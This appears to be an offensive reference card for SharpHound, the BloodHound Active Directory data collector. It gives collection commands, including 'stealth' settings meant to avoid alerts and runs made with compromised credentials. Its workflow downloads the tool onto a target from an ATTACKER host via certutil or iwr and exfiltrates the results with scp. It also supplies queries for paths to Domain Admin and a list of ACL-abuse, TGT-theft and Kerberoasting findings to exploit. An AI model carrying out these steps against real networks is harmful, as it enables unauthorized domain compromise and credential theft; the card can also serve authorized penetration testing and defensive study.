aeondave/sharphound

SharpHound

BloodHound data collector — gathers AD domain structure, users, groups, ACLs, and attack paths for visualization.

Quick Start

# Basic collection (all data)
SharpHound.exe -c All

# Stealth collection (DC data only)
SharpHound.exe -c DCOnly

# Collection with output
SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

# Specify domain
SharpHound.exe -d corp.local -c All

# Use specific DC
SharpHound.exe -d corp.local --domaincontroller dc.corp.local -c All

Collection Flags

| Flag | Purpose | |---|---| | -c All | Collect all data types (users, computers, groups, ACLs, GPOs, containers, domains, trusts) | | -c DCOnly | Domain Controller data only (minimal, stealth) | | -c Session | Collect session/logon data (noisy!) | | -c LocalAdmin | Local group membership on computers | | -c RDP | Remote Desktop session data | | -c DCOM | DCOM object access data | | -c PSRemote | PowerShell remoting access | | -c ObjectProps | User/group properties (description, notes) | | -c ACL | ACL data (critical for paths) | | -c Group | Group memberships and descriptions | | --outputdirectory <path> | Output location | | -d <domain> | Target domain | | --domaincontroller <ip> | Specific DC IP | | --ldapusername <user> | LDAP authentication | | --ldappassword <pass> | LDAP password | | -k | Use Kerberos (ticket-based auth) | | --no-color | Disable colored output | | --throttle <n> | LDAP throttling (in ms) | | --jitter <n> | Add jitter to timing | | --loop | Run continuously (timed interval) |

Collection Strategies

Stealth Collection (minimal detectable)

# DC only, no session collection
SharpHound.exe -c DCOnly --throttle 2000 --jitter 25

Full Recon (more data, noisier)

# Everything
SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

Low-Privilege User Collection

# From non-admin account (less data, but valuable)
SharpHound.exe -c All -d corp.local

Compromised Credentials

# As different user (if you have creds)
SharpHound.exe -c All -d corp.local --ldapusername "corp\attacker" --ldappassword "password"

Output

SharpHound generates ZIP file with JSON files:

<timestamp>_BloodHound.zip
├── computers.json       # Computer data
├── users.json          # User data
├── groups.json         # Group memberships
├── ous.json            # Organizational Units
├── domains.json        # Domain relationships
├── gpos.json           # Group Policy Objects
├── containers.json     # Container data
├── trusts.json         # Inter-domain trusts
├── ace.json            # ACLs (critical)
└── sessions.json       # Logon sessions (if collected)

Workflow

1. Collect from Linux / Compromised Host

# Transfer SharpHound.exe to target
python3 -m http.server 80

# On target (Windows)
certutil -urlcache -split -f http://ATTACKER/SharpHound.exe C:\Windows\Temp\SharpHound.exe
# or
iwr -Uri http://ATTACKER/SharpHound.exe -OutFile C:\Windows\Temp\SharpHound.exe

2. Execute Collection

C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\

3. Exfiltrate ZIP

# From Linux, pull the ZIP
scp user@target:C:\Windows\Temp\*.zip ./

# Or HTTP exfil
# (requires web server on target, risky)

4. Import to BloodHound GUI

# Start BloodHound Neo4j & GUI
/path/to/BloodHound

# Drag & drop ZIP into BloodHound
# OR
# Click "Upload Data" → Select ZIP file

5. Run Queries

-- Shortest path to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN [email protected]"}))
RETURN p

-- High-value targets
MATCH (u:User {admincount:true}) RETURN u.name

-- Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

Key Data Collected

| Data Type | Critical Info | |---|---| | Users | AdminCount, ServicePrincipalName (Kerberoastable), lastPassword Changed | | Groups | Domain Admins, Enterprise Admins, Schema Admins, Account Operators | | Computers | OS, lastLogon, unconstrainedDelegation, trustedToAuth (constrained delegation) | | ACLs | AllExtendedRights, GenericAll, WriteProperty, WriteDacl (attack surface!) | | Trusts | Inter-domain trusts, direction, transitivity (lateral domain movement) | | Sessions | Where admins are logged in (targets for token theft) |

Performance & Stealth

• -c DCOnly → Fast, stealth, minimal enumeration
• -c All → Comprehensive, slower, may trigger alerts
• --throttle 2000 → Add 2000ms delay between LDAP queries (stealth)
• --jitter 25 → Add up to 25% random jitter
• --loop → Run periodically (e.g., capture new admins logging in)

BloodHound CE (Community Edition)

# Docker-based BloodHound alternative (free)
docker run -it --rm -p 7687:7687 -p 7474:7474 specterops/bloodhound:latest

# Access at http://localhost:7474
# Default: admin / password

Integration

| Tool | Integration | |---|---| | BloodHound GUI | Import ZIP directly | | Rubeus | Use path data to plan Kerberoasting / ticket theft | | PowerView | Verify findings; detailed querying | | LDAP tools | Cross-reference LDAP data |

Common Findings to Exploit

• All Extended Rights on user/group → GenericAll abuse
• WriteProperty on user → Password reset, add group member
• WriteDacl → Modify ACL, grant yourself rights
• Unconstrained Delegation → Monitor & steal TGT from connecting user
• Kerberoastable Users → Rubeus roast → crack password

Resources

| File | When to load | |---|---| | references/ | BloodHound query library, ACL abuse exploits, PowerView equivalents |